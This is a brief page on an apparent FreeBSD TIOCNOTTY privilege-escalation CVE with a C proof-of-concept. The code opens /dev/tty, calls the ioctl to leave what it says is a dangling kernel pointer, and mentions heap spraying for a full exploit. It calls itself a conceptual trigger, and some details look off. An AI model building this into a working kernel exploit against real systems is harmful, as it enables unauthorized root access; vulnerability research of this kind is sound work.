CVE-2026-5398 FreeBSD TIOCNOTTY权限提升漏洞

/* * PoC for CVE-2026-5398 (FreeBSD TIOCNOTTY Privilege Escalation) * This is a conceptual demonstration of the vulnerability trigger. * Compile: gcc -o poc_cve2026_5398 poc_cve2026_5398.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/ioctl.h> #include <fcntl.h> #include <sys/stat.h> #ifndef TIOCNOTTY #define TIOCNOTTY 0x5422 #endif void trigger_vulnerability() { int fd; // Attempt to open the controlling terminal fd = open("/dev/tty", O_RDWR); if (fd < 0) { perror("open /dev/tty failed"); return; } printf("[*] Invoking TIOCNOTTY ioctl to create dangling pointer...\n"); // The vulnerable syscall: creates the dangling pointer in the kernel if (ioctl(fd, TIOCNOTTY, 0) < 0) { perror("ioctl TIOCNOTTY failed"); } else { printf("[*] TIOCNOTTY succeeded. Process will now exit.\n"); printf("[*] Kernel terminal structure now contains a dangling pointer.\n"); } close(fd); } int main() { printf("=== CVE-2026-5398 PoC Trigger ===\n"); // In a real exploit scenario, memory grooming (Heap Spray) // would occur here or in a parallel thread to control the freed memory. pid_t pid = fork(); if (pid == 0) { // Child process triggers the bug trigger_vulnerability(); exit(0); } else { // Parent process waits wait(NULL); printf("[*] Exploit condition triggered.\n"); } return 0; }